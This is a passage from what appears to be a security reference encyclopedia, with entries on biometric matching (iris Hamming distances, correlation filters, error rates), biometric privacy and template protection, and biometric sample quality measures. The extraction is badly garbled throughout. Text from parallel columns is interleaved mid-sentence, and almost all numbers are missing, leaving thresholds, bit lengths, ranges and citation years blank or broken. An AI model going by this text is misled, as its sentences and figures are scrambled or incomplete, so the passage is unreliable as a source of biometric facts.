such as rank-k recognition rate, which is the probabil-
ity that the correct identity is in the top k match scores.
Clearly, as k increases from to N (assuming N differ-
Test ent identities in the watch list), this rank-k recognition
B
biometric Biometric Match
matching score rate should increase eventually reaching % recognition
signature
rate when k equals N. One way to capture this identifica-
tion performance is via cumulative match characteristic
Biometric Matching. Fig. Schematic of biometric matching (CMC) curve, which plots rank-k recognition rate as a
function of k.
In applications using multiple biometric modalities
(e.g., face and iris) or multiple instantiations of the same
of indicate that the two biometric signatures do not modality (e.g., multiple fingers or a video of the same face),
match at all. In real-world scenarios, match values range one may generate multiple match scores corresponding
between and and are affected by external factors (e.g., to the same pair of the test/enrollment subjects. In such
illumination levels, pose and expression differences in cases, a more sophisticated score fusion strategy may be
faces, eyelid occlusion and off-axis gaze in iris matching, employed before the final identity decision and the match
rotation and deformation in fingerprints, etc.) and not just scores will be input to such a score fusion module.
by whether the two biometric signatures being compared
come from the same source (i.e., person or eye) or not. Theory
The most straightforward approach to use the biomet- The technical approach for computing match scores
ric match score is to compare it to a preset score threshold depends very much on the biometric modality, features
and declare a match whenever the match score exceeds being extracted and matching algorithms employed. This
this threshold and declare a non-match when the match section will focus on two approaches: () using normalized
score falls below the threshold. This leads to the concepts of Hamming distances between iris codes [], and () using
the false non-match rate (FNMR) (i.e., the probability that correlation filters for matching face images []. Of course,
the two biometric signatures come from the same person there are many other methods developed for matching
or source, but the match score falls below the thresh- other biometric signatures (e.g., comparing minutiae pat-
old) and the false match rate (FMR) (i.e., the probability terns in fingerprints or comparing cepstral coefficients for
that two biometric signatures from different individuals or voice pattern matching) that will not be discussed here.
sources result in a match score that exceeds the threshold).
In verification applications, FMR is often known as the Iris Matching
false accept rate (FAR) and the FNMR is known as the false Iris recognition consists of four major stages: ()
reject rate (FRR). By increasing the match score thresh- segmenting the iris region from the pupil and the sclera in
old, the system designer can reduce FMR, at the expense images of eyes, () mapping the segmented iris image onto
of increased FNMR. In biometric verification application, a normalized polar domain (where one axis is the radius
it is common to represent this trade-off via a receiver and the other axis is the angle), () extracting a binary
operating characteristic (ROC) curve that plots FNMR vs. iris code from the unwrapped iris pattern using Gabor
FMR as threshold is varied. Variations of the basic ROC wavelets and quantization, and () matching the iris codes
curve may employ genuine match rate (GMR, i.e., minus produced by two different iris patterns.
FNMR) and/or genuine non-match rate (GNMR, i.e., Segmenting the iris ensures that the matching is based
minus FMR), but convey essentially the same information. on iris texture pattern and not on other information in the
For identification applications involving matching a image. Converting the segmented iris image from Carte-
test signature against N stored signatures or templates (per- sian coordinates to polar coordinates ensures that scale
haps corresponding to N different subjects on a watch changes (e.g., those induced by pupil dilation and contrac-
list), one way to use the N resulting match scores (one tion) can be normalized. The iris code procedure converts
each, for the comparison of the test signature against each the unwrapped iris pattern into a binary code (e.g., of
stored template) is to select the identity of the stored tem- length , bits).
plate yielding the highest match score as the identity of the One common approach to match two iris pat-
test subject and to declare that the test subject does not terns is to determine the normalized Hamming dis-
belong to the group of N stored identities if the highest tance between the corresponding iris codes. Hamming
B Biometric Matching
distance between two binary vectors is simply the number filter approach (also known as the matched filter), the two
of places where the two bit strings differ and the normal- images are cross-correlated to produce a correlation out-
ized Hamming distance (NHD) is obtained by dividing put c(p, q) = i(x, y)r(x + p, y + q)dxdy where p and q
the hamming distance by n, the number of bits in the iris denote the relative shift between the two images in the
code (e.g., ,). If the two iris patterns are nearly iden- x and y direction, respectively. The cross-correlation oper-
tical and as a result, their iris codes are almost same, the ation can be carried more efficiently in frequency domain
NHD will be or very small. On the other hand, if the two (using D fast Fourier transforms (FFTs)) than in spatial
iris patterns are from two different eyes, the corresponding domain, and hence this approach is considered as a form
iris patterns and iris codes will be essentially statistically of filtering.
independent which means that approximately half the bits If the test face image is nearly identical to the ref-
from the corresponding iris codes will be same and the erence face image, the resulting correlation output will
remaining half different corresponding to a NHD of .. exhibit a large and narrow peak as shown in Fig. a. The
In practice, the NHD between iris codes from the same location of the peak will correspond to the relative shift
eye will be larger than and those from iris codes corre- between the reference and the test image. In contrast, if
sponding to different eyes may be smaller than .. This the two face images are of different people, the resulting
degradation from the ideal conditions can be due to sev- correlation output will not have a very discernible peak,
eral non-idealities including occlusion due to eyelids, eye as shown in Fig. b. A match score is obtained by defin-
lashes, specular reflections, off-axis gaze, and nonuniform ing peak-to-sidelobe ratio (PSR) metric that quantifies how
pupil dilation and contraction. Figure shows the distribu- dominant the correlation peak is over the array of correla-
tions of NHDs for authentic pairs and impostor pairs from tion values. PSR is usually defined as (peak mean)/(std),
a well-known iris image database. A commonly suggested where peak refers to the magnitude of the correlation peak,
threshold for iris verification is a NHD of around .. mean denotes the average value of the correlation plane
However, FNMR and FMR can be traded off by varying (excluding the peak region), and std refers to the standard
this NHD threshold. deviation of the correlation plane (once again, excluding
the peak region). PSR values should be large for authentics
Face Matching and small for impostors. If needed, the PSR values can be
Many approaches have been proposed for face matching. normalized to the [,] range via an appropriate mapping
These include the use of principal component analysis (e.g., exp(PSR)).
(PCA), linear discriminant analysis (LDA), elastic bunch In practice, the simple matched filter does not work
graph models, and correlation filters. Correlation filters well when the test face images exhibit variability due to
are used here as an illustrative face-matching technique pose, expression, and illumination changes. To achieve
even though other approaches are also equally capable of robust match scores in the presence of such distortion,
producing match scores for pairs of face images. more advanced correlation filter designs such as mini-
Let i(x, y) denote the test face image and r(x, y) denote mum average correlation energy (MACE) filters have been
the reference face image. In the most basic correlation proposed [].
Biometric Matching. Fig. Example normalized Hamming distance distributions for authentic (left) and impostor (right) pairs,
the horizontal axis corresponds to NHD values from to .
Biometric Privacy B
B
a b
Biometric Matching. Fig. Example correlation outputs (a) authentics, (b) impostors, the two horizontal axes represent shifts in
the two directions
Similar approaches for match score computation have

been developed for other biometric modalities. Biometric Performance
Evaluation
Applications Biometric Systems Evaluation
Biometric matching is a critical component in almost every
application using biometric signatures, since the main goal
of such systems is to determine whether the person pre-
senting the biometric signature is the same as who he/she Biometric Privacy
is claiming to be or not or whether they are in a watch list
or not. Fabio Scotti, Stelvio Cimato, Roberto Sassi
Department of Information Technologies, Universita
degli Studi di Milano, Crema (CR), Italy
Open Problems
For idealized scenarios, there are many successful
approaches for biometric matching. However, the chal- Synonyms
lenge is to design biometric matching approaches that Privacy protection in biometric systems
can maintain small intra-subject variation without sacri-
ficing inter-subject separation in the presence of signature Denition
variability due to natural factors such as pose, illumina- Biometric privacy refers to the methods and techniques
tion and expression differences (face), eyelids, eyelashes, needed for the protection of the privacy of the individuals
specular reflections, off-axis gaze (iris), rotations and plas- involved in the usage of a biometric system. The protec-
tic deformations (fingerprints), etc. Research continues in tion of the privacy can be achieved by the application
developing matching methods that are robust to resulting of a proper set of methodologies to secure the biometric
appearance changes. data and prevent improper access and abuse of biometric
information.
Recommended Reading
. Daugman J () High confidence visual recognition of persons Background
by a test of statistical independence. IEEE Trans Pattern Anal Biometric features are increasingly used for authentication
Mach Intell : and identification purposes in a broad variety of insti-
. Vijaya Kumar BVK, Mahalanobis A, Juday RD () Correlation tutional and commercial systems, such as e-government,
pattern recognition. Cambridge University Press, Cambridge
e-banking, and e-commerce applications. On the other
side, the adoption of biometric techniques is restrained by
a rising concern regarding the protection of the biomet-
rics templates (Biometrics). In fact, it should be granted
Biometric Passport Security to the user that the biometric information collected should
not be used for any other activities than the ones expressly
Passport Security declared, and, at the same time, that the biometric system
B Biometric Privacy
is capable to protect and avoid any misuse or duplication Also, the storage method of the biometric data affects
of the biometric information []. and risks privacy. The usage of a central database can
The users privacy in the context of a biometric applica- be considered the worst case for user privacy, while
tion can be guaranteed by following two main approaches. the case where the user personally holds the biometric
The first encompasses the methodologies and techniques data is the most favorable (e.g., a smart card). In any
related to the correct design of the biometric system and case, the storing of the biometric templates is preferable
of the related procedures for its deployment. The second than the storing of the sample/images of the biometric
approach is related directly to the protection of the bio- features.
metric trait. This can be granted by a variety of techniques The adoption of biometric traits that are more accurate
capable of generating a unique identifier from one or more and stable in time (typically the physiological data such as
biometric templates and making it impossible to recover fingerprints or iris templates) exposes the users to a higher
the original biometric features (thus preserving the privacy privacy risk.
of original biometric samples). The behavioral traits tend to be less accurate, and, most
Most available biometric template protection tech- of the time, they request the user collaboration. In general,
niques are based on the application of different kinds the higher the need of user cooperation or the variabil-
of transformations such as hash-based transformations ity in time, the lower is the privacy risk. High privacy risk
(Hash Function) or transformation relying on fuzzy is also associated to biometric systems with high interop-
cryptographic primitives such as the Fuzzy Commitment, erability capability (the capability to work with different
the Secure Sketch, and the Fuzzy Extractors (Biometric databases) and the presence of numerous and/or large
Encryption). available databases to process comparisons. For example, a
face acquisition can be used for multiple search in different
databases with relatively low efforts. Similarly, many and
Theory large databases of fingerprints templates exist and they can
Classication of the Biometric Privacy Risks be queried using fingerprints taken with different sensor
The privacy of the users involved in the usage of a and techniques.
biometric system can be affected by a broad variety of fac- The described privacy risks can be effectively contained
tors such as the application type, the duration of the data by adopting a proper technique for the template protec-
retention, the optional/mandatory usage of the biometric tion, as well as adopting design and application privacy-
system, the template storage method, the authentication compliant guidelines.
or identification capabilities, the usage of physiological
or behavioral traits as templates, and the interoperability Best Practice for Privacy Assessment
capability of the biometric technology. in Biometrics
With the application type, privacy risks can be The design and the deployment activities of a biometric
relevantly different depending on whether the biometric system must follow specific guidelines in order to protect
application is covert or not. Biometric covert applications user privacy.
(e.g., a surveillance system working without any explicit The first point refers to the scope and the capabilities
authorization from the users) are considered to be more of the system. The most important condition to guaran-
privacy invasive since the user is not aware whether to be tee is that the scope and the functionalities of the system
involved and recorded in the system. must not be changed or expanded without the explicit
If the usage of the biometric system is optional, the and informed consensus of all the users. Secondly, the
application is considered as more privacy compliant since retention of the biometric information must be limited
the users can decide whether to check by a biometric to the minimal amount, in particular, even if the bio-
system or to adopt a different identification/verification metric system stores the enrollment data, the verification
system. data should always be deleted. Templates should be always
Identification applications are then considered more be preferred as stored data than any raw data, images,
privacy invasive than verification applications since the and recordings, and the collection of other personal
identification process encompasses a -to-many compar- information integrated into the biometric data should be
ison, and, most of the times, this comparison is performed avoided.
by sending the biometric templates through a network to The second point focuses on data protection. The
a database for the comparisons. In any case, the longer the use of proper techniques to protect the biometric data
duration of the retention of the biometric data, the bigger should always be considered (see next subsection), as
is the impact on privacy risk. well as the result of each single biometric matching
Biometric Privacy B
query. Moreover, systems should always be located in The number of samples and the types of the biomet-
controlled areas and the access to the biometric data ric traits should be reduced as much as possible in
must be limited to a limited and known group of a compatible manner with respect to the application
operators. requirements.
The third point is related to the user control of personal A proper template protection technique must be
data. The user must always keep the control on the biomet- envisioned in order to avoid that each biometric sam-
B
ric data and, in any case, the system must ensure to the user ple/template/feature used in the multimodal acqui-
the possibility to be un-enrolled or to correct and modify sition might be used for other searches in different
his or her personal data. single-trait databases in an unauthorized context.
Activities for disclosure, auditing, and accountability of
the biometric data must be also taken into consideration.
Template Protection
It must be clearly stated to the operators and the enrollees
Several research works in literature deal with the protec-
of the biometric system the exact scope of the biomet-
tion of biometric templates in biometric-based authenti-
ric system, when the biometric acquisition is active and if
cation schemes. On the other hand, groups of researchers
operation is optional or compulsory. Each system operator
are investigating the legal background of biometric tech-
must be accountable for the possible misuses and/or errors
nologies to define and consider bioethical issues arising
that occur during the activities. The owner of the biomet-
from emerging biometric identification technologies (in
ric system and the operators must also be able to provide
Europe see the Biometric Identification Technology Ethic
a clear and effective process of auditing when an institu-
Project).
tion or a third party requests it. Finally, it is very important
The naive approach of storing biometric templates dur-
that the duration of the biometric data retention must be
ing the enrollment phase (for the successive identification
explicitly stated to the users.
of verification process) in a more or less secured database
Also, the system design can improve the users biomet-
has a number of risks for users, privacy. Since the associa-
ric privacy. The modularity in the design and a specific
tion between each user and his or her biometric templates
set of constrains can ensure the system to not rely on
is strict, several concerns on the possible uses and abuses
any proprietary algorithm, and to permit the adoption in
of such kind of sensible information are raised. Indeed
the future of novel and more privacy-compliant biometric
biometrics traits cannot be replaced or modified, and a
recognition techniques.
stolen template could help a malicious user to imperson-
Special care must be taken in the design when
ate a legitimate user and steal private information or run
multibiometric or multimodal systems are considered
applications accessing sensible resources. The loss of bio-
(Biometrics) when one or more of the following setups
metric data is then an important security issue that directly
are present:
affects the valuation of a biometric authentication scheme
and should be carefully considered to prevent thefts of
Multiple sensors (e.g., solid state and optical finger-
identity.
print sensors)
Biometric templates are usually transformed before
Multiple acquisitions (e.g., different frames/poses of
their storage during the enrollment phase, so that the
the face)
authentication process can be correctly performed, but
Multiple traits (e.g., an eye and a fingerprint)
unauthorized access to the stored templates leaves the
Many instances of the same trait kind (e.g., left eye, and
adversary with a small and unusable amount of sensible
right eye)
data on the biometrics of the attacked user []. The fol-
Multiple algorithms (e.g., different preprocessing and/or
lowing four properties have been addressed by an ideal
matching techniques)
template protection scheme:
In these cases there is an heavier impact on the privacy Diversity meaning that different computed templates
of the user since the amount of the involved personal should not be used in different applications.
information is more relevant. In this specific context, the Reusability/revocability, meaning that revocation of a
following guidelines should be considered: compromised template and reissuing of a fresh tem-
plate should be possible using the same set of input
The usage of the templates should be subjected to biometric features.
randomization transformation such that the derived Security, meaning that it should be difficult to retrieve
published identifier does not suffer from information the original template from the transformed one, to
leakage. prevent recovery of input biometric data.
B Biometric Recognition
Performance, meaning that operating on the trans- templates in a suitable representation that can be efficiently
formed template should not impact too much on the treated, for example in a metric space, is itself an active
recognition performance of the biometric system. research area. For example, IrisCode and Fingercode are
techniques for the extraction of a binary string from iris
A natural way to protect biometric templates could
and fingerprint templates, respectively.
be by replicating the approach used in password-based
The problem of efficiently secure biometric tem-
authentication schemes where users passwords are typi-
plates is faced also by biometric encryption techniques
cally stored in their hashed form. However, for biometric
(Biometric Encryption), where the cryptographic key
templates, usable one-way transformation of the templates
used for the template transformation is directly bound to
is not so easy to achieve, since they have to cope with
the biometric data used to create the template.
high variability within different readings of biometric data
belonging to the same subject. For the same reason, tradi- Applications
tional cryptographic algorithms are not directly applicable The presented designing guidelines and template protec-
to biometric data. In the literature, a wide range of tech- tion techniques can be applied in all the applications pre-
niques have been presented based on the combination of sented in Biometrics.
biometrics and cryptography, in order to cope with both
problems: variability of biometric templates and protec- Recommended Reading
tion of personal data. A comprehensive survey of different . Cimato S, Gamassi M, Piuri V, Sassi R, Scotti F () Privacy
approaches and of the related problems can be found in []. in biometrics. Biometrics: theory, methods, and applications.
Wiley-IEEE Press, New York
. Jain AK, Nandakumar K, Nagar A () Biometric template
Template Transformations security. EURASIP J Adv Signal Process :
Transformations operating on biometric templates are . Prabhakar S, Pankanti S, Jain AK () Biometric recogni-
usually classified on the basis of the characteristics of tion: security and privacy concerns. IEEE Security and Privacy
Magazine, pp
the used transformation function and on the inputs they
require. In salting, the transformations may be invertible
and usually the biometric template is computed with the
help of user-specific additional random data. To perform Biometric Recognition
the verification process, the same kind of transformation is
applied to the fresh biometric reading and matching is per-
Biometric Matching
formed between the computed templates. An example is
the biohashing technique, which can be performed on sev-
eral different biometric inputs such as fingerprints, palms,
and faces. If the used data is compromised, the template is Biometric Sample Quality
no more secure, since the transformation may be inverted.
In this case, however, and also if the template has been Krzysztof Kryszczuk , Jonas Richiardi

stolen, it is easy to compute a fresh template using different IBM Zurich Research Laboratory (DTI), Lausanne,
input data. Switzerland

Non-invertible transformations rely on particular func- Ecole Polytechnique, Fdrale de Lausanne EPFL - STI
tions that operate on the template and are difficult to invert. IBI, Lausanne, Switzerland
Using a key as input parameter, such functions transform
the template such that it is impossible to recover the origi- Related Concepts
nal template from the knowledge of both the input key and Reliability
the transformed template. Such transformations have to
cope with the variability of the input template and should Denition
maintain the similarity between templates generated from The term biometric sample quality describes how faithfully
the same set of biometric data, in order to preserve the the acquired biometric sample represents the discrimi-
matching mechanisms. In some cases, the transformation native biometric characteristics of an individual. In the
functions let the biometric features remain in the same context of automatic biometric classification systems, the
original metric space and apply a given number of non- term refers to the degree to which the biometric signal is
invertible functions, such that the recovery of original bio- free from corrupting degradations that can compromise
metric data is prevented. The transformation of biometric the classification accuracy of the system. The quality of
Biometric Sample Quality B
biometric signals can be quantified by applying dedicated quality. However, if it is an automatic biometric identity
quality measures, which are useful in improving the robust- verification system that is expected to use the available sig-
ness of biometric systems and in predicting their perfor- nals, the intuitively understood quality metric that humans
mance. would apply may be insufficient or no longer applicable [].
Although there is definitely some sequence of signal pro-
cessing, feature extraction, and pattern recognition steps
B
Background
With the progressive introduction of biometric passports that happen in the brain when people recognize other peo-
and the burgeoning of the biometric industry, the scale ple and other shapes [], there is no reason to suppose
of deployment of biometric identity verification systems that these steps are literally replicated by an automatic
has increased dramatically. The nature and scale of todays classification system. For instance, humans can make sur-
biometric deployments place stringent constraints on the prisingly good use of very low-resolution, blurred images,
permitted maximal error rates committed by the biometric which are of little use for most automatic face recognition
classifiers. Maintaining a consistent, high biometric recog- systems [].
nition accuracy demands that the biometric samples be There is a pronounced difference in the face recog-
of high quality, i.e., the discriminative biometric features nition accuracy achieved by humans and by automatic
present in acquired biometric signals are clear and not face recognizers, and therefore automatic quality measures
distorted. At the same time, however, practical usability must be relevant to automatic pattern recognition, and not
constraints make it difficult to fully control the acquisition necessarily to human intuition.
conditions of biometric signals. If such a control is relaxed,
then distortions and noise may contaminate the recorded Aspects of Biometric Sample Quality
samples. Recently, biometric quality has become the object of stan-
If no due consideration is given to the quality of dardization efforts. The published standard BS IEC/ISO
the signal during the classification process, such distor- -: [] declares following aspects of biometric
tions are known to compromise the performance of the sample quality:
biometric system, often severely []. If this degradation can Character refers to the quality attributable to inherent
be quantified, then the results of such measurements, the physical features of the subject.
quality measures [], can be used in more than one way Fidelity is the degree of similarity between a biometric
to improve the robustness of the system. Possible strate- sample and its source, attributable to each step through
gies include various techniques of including the biometrics which the sample is processed.
quality measures in the classification process. Quality mea- Utility refers to the impact of the individual biometric sam-
sures can also be used in order to automatically abstain ple on the overall performance of a biometric system.
from classifying biometric samples of insufficient quality,
likely to produce unreliable decisions. Finally, quality mea- Determinants of Biometric Signal Quality
sures can be used as meta-features aiding in reinforcement Biometric signal quality can be affected by many different
learning in multimodal biometric settings. factors. These can be grouped into the following categories.
Sensor: One of the primary factors determining the
Theory
biometric signal quality is the used sensor, and the
The Concept of Quality in the Context of associated data acquisition system. The capacity of
Biometrics the device to capture a faithful representation of the
Unlike many other specialized terms, the concept of quality biometric characteristics depends on the bandwidth
has very deep intuitive connotations, and before describing of the system defined by the physical and electronic
the details of quality measures of biometric signals, a few properties of the sensor. The signal sampling and quan-
words are due here on how the concept of quality should tization will determine the basic spatial and tempo-
be understood in the context of biometrics. ral resolution of the biometric trait. For multichannel
While trying to recognize or identify other people by sensors, such as color cameras, the sensing arrange-
their faces from photographs, it can be said without much ments of the multispectral information as well as the
hesitation what factors define the image quality: resolu- spectral characteristics of each channel may influ-
tion, contrast, sharpness, etc. []. Similarly, when it comes ence the biometric signal quality. For instance, single
to latent fingerprint inspection, experts would consider chip color cameras will produce much lower resolu-
well-formed, rich in detail finger imprints as being of high tion image in the red and blue channels, than in the
B Biometric Sample Quality
a b
Biometric Sample Quality. Fig. Examples of (a) high- and (b) low-quality ngerprint images recorded with an optical scanner.
The dierence in quality is due to the degraded skin condition of the nger in (b)
green channel. The method of signal formation or read eye center coordinates will affect all the subsequent
out, for example interlacing, will also impact the sig- processing and result in normalized face images of
nal quality. The control of the sensor parameters, such degraded quality. Similarly, in iris recognition, if the
as focus, and gain control will also play an impor- iris is segmented out from the image of the eye incor-
tant role in determining the quality of the sensor out- rectly, it will affect the quality of the query signal and
put, as incorrect settings may result in blurred and/or the subsequent matching.
saturated image. Environmental factors: Many biometric traits, such as
Transmission channel: The acquired biometric signal is face, gait, voice, even iris, are acquired from a distance.
typically transmitted to the signal processing and anal- Consequently, the measurement of the biometric data
ysis unit. For instance, if the biometric authentication may strongly be affected by environmental conditions.
is carried out on a smart card, but the biometric sen- For example, in speaker recognition the background
sor is not integrated on the card, the biometric data noise will mix with the useful voice signal and cause
must be transmitted from the acquisition device to the distortion. In the case of biometrics acquired through
processing platform. This transmission involves a com- imaging, changes in the configuration and spectral
munication channel, which may introduce corruption characteristics of the illumination sources may alter the
due to noise or limited bandwidth. Additionally, the image appearance significantly. For remotely sensed
signal is often compressed, either for the purposes of data, the signal quality will be dependent to a great
transmission or possible storage (in the case of a tem- extent on the way the subject presents himself or her-
plate). A lossy compression can inject approximation self, as many biometric traits relate to D characteris-
errors and blocking artifacts. tics of the human body and the data acquired will be
Signal analysis: The cornerstone of a biometric system heavily dependent on the subjects pose.
is its signal processing and analysis module which con- Behavioral factors: The acquisition of many biometric
ditions the biometric signal, extracts important fea- traits may be degraded by behavioral characteristics
tures for decision making, and eventually performs of the subject, especially when a biometric identity
the matching of the query data against the user tem- authentication test is conducted infrequently. The lack
plate. A loss of quality may occur even at this stage, of familiarity with the biometric sample acquisition
as the signal condition usually involves some form of process can induce stress which is likely to affect the
registration and normalization. Any errors in the regis- signal quality adversely, in terms of unnatural pose
tration process will degrade the quality of the biometric or expression, sweat, or motion blur. The deliber-
signal. For instance, many face recognition systems use ate lack of cooperation will also prevent the acquisi-
the eye centers as the reference for face registration, tion of good quality biometric signal. All such factors
geometric normalization, and re-sampling to a prede- will result in the biometric signal deviating from its
fined image size. Any errors in the localization of the normal form.
User condition: One of the variables potentially affect- whereby an absolute quality measure is extracted and fur-
ing biometric signal quality will be the general condi- ther normalized by some function of the quality of the
tion of the user. A change in the medical state through enrollment data.
illness, disability, or even the use of drugs is likely to Quality measures can be modality-dependent and
reflect on biometric signal quality. Examples include modality-independent. Modality-dependent measures (e.g.,
the effect of throat infection on the voice character- the frontalness in face recognition []) are not applicable
B
istics in speaker recognition. Aging will introduce a to other modalities, as they exploit very precise domain
longer term degradation. Fatigue may influence the knowledge that can not be transferred to other signals.
biometric trait acquisition and lower the quality of the Some of the common modality-dependent quality mea-
captured data. Sweat through exertion is likely to lead sures include:
to signal saturation or sensor malfunction in the case
of fingerprints. Face: It is hard to pinpoint in absolute terms what a high-
Disruptive artifacts: The biometric signal quality may quality face image is, therefore most face quality images
be seriously degraded by disruptive artifacts. For in use are of comparative (relative) character. The point
instances, contact lenses may compromise the usability of reference for the quality measurements is a particular
of the human iris as a biometric trait. Face recognition template setup for face imaging, usually a frontal, expres-
is likely to be affected by the presence of hair, glasses, sionless, evenly and diffusely illuminated face with no
and beard. High heels or unusual subject loading will occlusions and self-shadowing. Measures that fall into
alter the gait of a subject. this category include quantifications of face illumina-
tion uniformity, presence of shadows, head pose, or
It should be noted that spoofing attempts may or
face-likeness, which globally encodes a similarity of a
may not degrade the biometric signal quality and can-
given face to an average face model template. Since the
not, in general, be detected by biometric signal quality
introduction of the face image into biometric passports,
analysis. Other measures are normally required to prevent
many quality checks focus on assuring the conformance
unauthorized access through biometric signal forgery and
of the acquired face images with the ICAO guidelines.
replay.
Although classifier independent, the ICAO guidelines
are stringent enough to ensure proper functioning of
many face recognition algorithms [, ].
Biometric Quality Measures Fingerprint: Fingerprint is probably the best-researched
A quality measure of a biometric sample must quantify and understood biometric modality. The reason for this
the samples suitability for automatic classification and the fact is that it is quite clear where to look for discrim-
actual biometric matcher. The term suitability here means inatory features in a fingerprint it is the shape and
that the system must be able to extract relevant discrimi- structure of the ridges. Consequently, fingerprint qual-
native features from the observed signal and then assign a ity measures are usually related to the clarity of depic-
correct class label. In this context, the term sample quality tion of fingerprint ridge structure, in particular to the
is used in a broad sense and can refers to any quantifi- orientation certainty, ridge frequency, and ridge clarity.
able, identity-independent characteristics of the biometric Fingerprint images are often transformed into the spatial
data sample. Consequently, a sample quality measure is frequency domain for quality analysis [].
any quantitative metric that depends in its value on the Iris: The iris quality measures focus on the common factors
quality of the data but not explicitly on the identity of that degrade the performance of the iris recognition sys-
the data donor. tems: blurring, off-angle capture, and occlusions. Image
Quality measures can be absolute or relative. Relative sharpness is usually estimated by measuring the energy
quality measures need reference biometric data, and out- of high frequency components in a two-dimensional
put a comparison to this reference data taken as a gold Fourier spectrum. Motion blur in iris images can be
standard of quality. For instance, correlation to average estimated using a sum modulus difference (SMD) fil-
face is a relative measure of face image quality []. Abso- ter. Off-axis capture angle estimation, equivalent to the
lute measures do not need reference data, except for initial gaze angle, is detected by application of projective trans-
development of the algorithm. For instance, a measure- formations: an off-axis iris capture appears ellipsoidal in
ment of the energy distribution in a given spatial frequency shape [, ].
band in a segmented iris image is such an absolute qual- Speech: Speech can be contaminated by noise between its
ity measure []. A hybrid approach can also be taken, emission and its reception at the transducer
B Biometric Sample Quality
(microphone). It can also be distorted by the trans- statistical model represented as a probability density
ducer and the transmission channel. Speech quality function. Other methods exist to assess the quality of the
measures generally model noise as additive or convolu- user model itself. In all biometric modalities, the amount
tional. Based on years of experience in speech recogni- of training data available to learn parameters of clas-
tion research, several quality measures have been pro- sifier models can have a large impact on classification
posed for speaker recognition, which include various performance. Therefore, this information can be used
estimators of instantaneous signal-to-noise ratio, or dis- as a model quality measure. In generative models, the
tribution change estimators [, ]. distance between user distributions and impostor distri-
Online signature: Online signature is generally acquired butions (in feature space) can be used as an indicator
using a pen tablet, where the specially instrumented of model quality, and in discriminative models a mar-
pen acquires data, performs analog-to-digital conver- gin can be computed, which gives an indication of likely
sion, and sends the data packet to the driver in a digital performance. Lastly, the quality of parameter estima-
format. As opposed to such modalities as speech or tion and model selection can be assessed by numerous
face, online signature is quite immune to environmental goodness-of-fit measures.
noise. Therefore, the definition of quality for signatures
Finally, biometric quality measures can be extracted
is generally task-related, rather than signal-related. It
automatically, or hand-labeled. Some of the first reported
is generally agreed that more complex signatures are
attempts to incorporate the quality measurements into
more difficult to forge, and therefore surrogate measures
the classification process used manually-labeled quality
of complexity, such as number and angle of crossing
scores []. Given the large volume of data typically found
strokes, or entropy, have been used as quality measures.
in todays biometric databases, hand-labeled quality mea-
Conversely, since signature is a behavioral modality, a
sure extraction seems only practical for very specific uses,
high intra-subject variability of signature can be inter-
such as forensic identification.
preted as bad quality [, ].
Other, less popular biometric modalities, such as gait, The Usage of the Quality Measures
palm and vain geometry, or ear geometry, received lim- Quality information can be used at different stages of
ited attention from the perspective of quality estimation. processing and classification. A typical pattern recogni-
Modality-independent quality measures are more generic tion workflow usually consists of following steps: acquisi-
and can be exploited across different modalities. Examples tion, preprocessing, feature extraction, and finally learning
of modality-independent quality measures include []: (during system training) or classification (during deploy-
ment). When multiple biometric modalities are available,
Score-based measures: The soft output of a classifier can
each of the modalities is processed in those steps, followed
be used to quantify the quality of a classifier decision.
by a combination stage. Quality measures can be exploited
Indeed, the closer to the decision boundary (threshold)
at each step of the classification workflow, with the aim to
the score is, the more likely it is that the classifier could
improve classification accuracy and reliability of the bio-
have made a mistake, since a small amount of noise could
metric system []. The most common usages of quality
have pushed the score on the wrong side of the bound-
measures are:
ary. Many confidence measures are based on scores. This
type of quality measures is not restricted to a particular Marginalization: Signals, features, scores, or decisions can
modality. be discarded if a corresponding quality estimate falls
Model-based quality measures: The fundamental assump- below a certain threshold, or otherwise kept and pro-
tion of pattern recognition systems is that the data used cessed. The procedure relies on the assumption that
during the model learning phase is representative of the the marginalized signals of inadequate quality are more
unseen testing data the classifier will encounter. In other likely to be misclassified than the signals that passed the
words, any signal subjected to the classifiers scrutiny quality check. In many biometric applications, a quality-
should be accounted for by the underlying model, while based rejection of a biometric sample is followed by a
any signal that lies outside the model (outlier) is not request for repeated biometric presentation. The proce-
likely to be reliably classified. A model-based quality dure has been demonstrated to improve the classification
measure therefore will quantify how well the model accuracy over the comparable systems where no quality
explains the unseen sample before it is classified. A sim- check is performed [, , ].
ple example of such measure is the likelihood p(xM), Weighting and Selection: If multiple signals, features, or
where x is the unseen sample and M is previously trained models are available, their contributions can be weighted
by their relative normalized quality estimates, and then human supervisor, the data the system encounters is not
fused. The simple quality-based score fusion algorithms labeled, and the system must rely on its own classifica-
average over the linearly weighted, normalized multi- tion decisions. It is desirable that only data with highly
modal biometric scores. If the applied weights are binary confident decisions are used in such model updating. If a
( and ) weighting becomes equivalent to marginaliza- quality measure is available that correlates well with the
tion of the samples of inadequate quality. The intuitive decision accuracy, it can be used to filter out the unre-
B
semantics of this operation is quite straightforward: a liably labeled data and avoid using them in the online
biometric sample becomes relatively more important training [].
in the fused score if its corresponding quality estimate
is higher than that of the other scores. Multi-classifier Recommended Reading
weighting strategies involving quality measure received . Wein L, Baveja M () Using fingerprint image quality to
particular attention in the context of multi-modal bio- improve the identification performance of the U.S. VISIT pro-
gram. Proc Natl Acad Sci ():
metric fusion [, ].
. Grother P, Tabassi E () Performance of biometric quality
Joint Modeling: When learning the models of a biomet- measures. IEEE Trans PAMI ():
ric classifier, available quality measures can be modeled . Hsu R-LV, Shah J, Martin B () Quality assessment of facial
jointly with other class-selective information (features images. In: Proceedings of the biometrics symposium,
and scores). The joint models can be used for classifica- Baltimore
. Adler A, Dembinsky T () Human vs. automatic measure-
tion in a feature space augmented by additional degrees
ment of biometric sample quality. In Canadian conference
of freedom provided by the quality measures. If the joint on computer and electrical engineering (CCECE), Ottawa,
modeling includes the features extracted from the bio- Canada
metric signals, then quality information becomes a clas- . Gazzaniga MS, Ivry RB, Mangun GR () Cognitive neuro-
sification attribute to the baseline biometric classifier. If science: the biology of the mind, nd edn. Norton, New York
. Sinha P, Balas B, Ostrovsky Y, Russell R () Face recogni-
the baseline classifier is already trained, then the qual-
tion by humans: nineteen results all computer vision researchers
ity measures can be modeled jointly with the baseline should know about. Proc IEEE ()
classifier scores and used in a second-level classifier. The . BSI () BS ISO/IEC -:, Biometric sample quality.
quality measure, which by default does not carry class- Framework
selective information about the identity of the user, is . Kryszczuk K, Drygajlo A () On face quality measures.
In: Proceedings of the nd workshop on multimodal user
an individually-irrelevant feature. However, it gains its
authentication MMUA, Toulouse, France
conditional relevance in the presence of other, usually . Yi Chen, Dass SC, Jain AK () Localized iris image quality
